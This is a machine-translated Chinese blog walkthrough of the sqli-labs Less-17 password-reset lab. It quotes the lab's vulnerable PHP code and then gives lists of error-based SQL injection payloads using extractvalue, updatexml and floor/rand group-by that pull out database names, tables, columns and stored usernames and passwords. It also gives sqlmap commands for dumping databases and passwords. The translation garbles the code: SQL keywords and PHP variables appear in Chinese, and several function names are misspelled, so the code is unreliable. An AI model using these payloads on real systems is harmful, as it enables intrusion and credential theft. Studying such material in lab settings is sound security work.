Sqli?SQLintegrityconstraintViolation

Sqli 文章目录 Less_17 update报错注入手工注入工具注入 Less_17 update报错注入
详细sqli-labs(1-65)通关讲解-CSDN博客
查看页面源码,这道题有个

文章目录

Less_17 Inject更新错误报告Inject手动注入工具

Less_17 update报错注入

sqli-labs(1-65)海关流程详解- CSDN博客

查看页面源代码。有一个办法可以解决这个问题。

根据该页面,这是一个密码重置页面。这意味着您已登录系统,并且您的用户名固定为Dhakkan。查看源代码。

function check_input($value) //检查输入的用户名

{

if(!empty($value)) //如果用户名不为空,则执行以下判断

{

//截断(见评论)

$value=substr($value,0,15); //subtr()是截取账户名前15个字符的函数

}

//如果启用了魔术引号,则去除斜杠

if (get_magic_quotes_gpc()) //该函数是否开启,如果开启则进入以下判断

//这个函数的作用是给(\’ \’/null)特殊字符添加一个反斜杠转义符

{

$value=tripslashes($value); //删除反斜杠。

}

//如果不是数字,则用引号括起来

if (!ctype_digit($value)) //uname 如果字符串不是数字,则转义其中的特殊字符

{

$value=\’\’ .mysql_real_escape_string($value) \’\’;

}

else //对于数字

{

$value=intval($value); //转换为整数

}

返回$值。

}

//获取变量

if(isset($_POST[\’uname\’]) isset($_POST[\’passwd\’]))

{

//检查uname 不可注入

$uname=check_input($_POST[\’uname\’]);

$passwd=$_POST[\’passwd\’];

get_magic_quotes_gpc() 获取magic_quotes_gpc 的当前配置选项设置。

tripslashes() 返回一个带引号的字符串,其中删除了引号和转义反斜杠(例如,将\\\’ 转换为\’)。双反斜杠(\\\\) 转换为单反斜杠(\\)。

ctype_digital() 检测数字

mysql_real_escape_string 转义字符串中的特殊字符以在SQL 语句中使用。

intval 获取变量的整数值

/连接性

@$sql=\’从用户中选择用户名和密码WHERE username=$uname LIMIT 0,1\’;

$结果=mysql_query($sql);

$row=mysql_fetch_array($结果);

//回显$row;

如果($行)

{

//echo \’字体颜色=\’#0000ff\’\’;

$row1=$row[\’用户名\’];

//echo \’您的登录名:\’。

$update=\’更新用户SET 密码=\’$passwd\’ WHERE username=\’$row1\’\’;

mysql_query($更新);

回声“br”;

访问数据库并根据您提供的帐户名检查用户名和密码,如果帐户名正确,请将密码更改为您输入的密码。这意味着你不能直接执行SQL注入。 uname被过滤了,但password没有被过滤,所以可以使用密码作为注入点,但用户名必须输入正确。

可以得到admin是库中的用户名

其实也可以尝试上一个问题的方法,但是注入会失败。

示例:passwd=adminsubmit=Submituname=admin\’))#

解析后单引号注入

手工注入

或使用错误注入

事实证明,有三种方法可以注入错误

我已经在使用上面的两个了

即extractvalue()错误注入、updatexml()错误注入、group by()错误注入。

1\’ and (extractvalue(1,concat(0x5c,version(),0x5c)))#爆炸版本

1\’ and (extractvalue(1,concat(0x5c,database(),0x5c)))# 展开数据库

1\’ and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#爆表名

1\’ and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=\’users\’),0x5c)))#

分解字段名称

1\’ and (extractvalue(1,concat(0x5c,(selectpasswordfrom(selectpasswordfromuserswhereusername=\’admin1\’))b),0x5c)))# 爆炸性字段内容此格式适用于mysql 数据库。

1\’ and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))# 提取字段内容。

123\’ and (updatexml(1,concat(0x5c,version(),0x5c),1))#爆炸版本

123\’ and (updatexml(1,concat(0x5c,database(),0x5c),1))# 展开数据库

123\’ and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))#爆表名

123\’ and (updatexml(1,concat(0x5c,(从information_schema.columns 中选择group_concat(column_name),其中table_schema=\’security\’ 和table_name=\’users\’),0x5c),1))#

精选列表

123\’ and (updatexml(1,concat(0x5c,(从用户名=\’admin1\’中选择密码) b),0x5c),1))#

密码格式适用于mysql数据库。

只需展开其他表即可。接下来是电子邮件表。

123\’ and (updatexml(1,concat(0x5c,(从information_schema.columns 中选择group_concat(column_name),其中table_schema=\’security\’ 和table_name=\’emails\’),0x5c),1))#

1\’ and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from email),0x5c),1))# 展开字段内容。

123\’ and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))# 展开数据库

123\’ and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))# 展开数据库版本

1\’ and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand( 0)*2)))# 更改限制后的数字将表格逐一展开。

1\’ 和(select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0 )*2)))# 展开所有表

1\’ and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=\’users\’),0x7e ,floor(rand(0)*2)))# 展开所有字段名称

1\’ and (select count(*) from information_schema.columns group by concat(0x7e,(select group_concat(username,password) from users),0x7e,floor(rand(0)*2)))# 所有字段名称展开

1\’ 和(select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(selectpassword from users where username=\’admin1\’),0x7e,floor(rand(0) * 2)))a)# 显示您的帐户密码。

工具注入

sqlmap -url \’http://192.168.0.107/sqli-labs/Less-18/\’ –cookie=\’PHPSESSID=938ba4d9befdd8411a15a447\’ –batch –user-agent=\’1\’ –dbs –data=\’uname=Dhakkanpasswd=1submit=提交\’ –级别=3 –风险=3

1. 有无注入点

python sqlmap.py -r \”响应包路径\”

2. 获取注入点的所有数据库

python sqlmap.py -r \”响应包路径\” –dbs

3.获取当前使用的数据库

python sqlmap.py -r \”响应包路径\” –current-db –batch

4. 获取数据库中的表。

python sqlmap.py -r \”响应包路径\” –table -D \”数据库名称\” –batch

5.获取表中字段信息

python sqlmap.py -r \”响应包路径\” –columns -T \”表名\” -D \”获取的数据库名\” –batch

6. 获取特定领域的信息

python sqlmap.py -r \”响应包路径\” –dump -C \”字段名称\” –columns -T \”表名称\” -D \”数据库名称\” –batch

7.您当前使用的账户

python sqlmap.py -r \”响应包路径\” –current-user

8. 列出所有使用的帐户

python sqlmap.py -r \”响应包路径\” users

9.Mysql登录账号和密码

python sqlmap.py -r “响应包路径” passwords

直接使用命令

python2 sqlmap.py -r 17.txt –batch -dbs

捕获数据包并将帖子文本放在17.txt 下方。

以上#Sqli相关内容来源仅供参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93823.html

(0)
CSDN's avatarCSDN
上一篇 2024年7月26日 下午1:41
下一篇 2024年7月26日 下午1:41

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注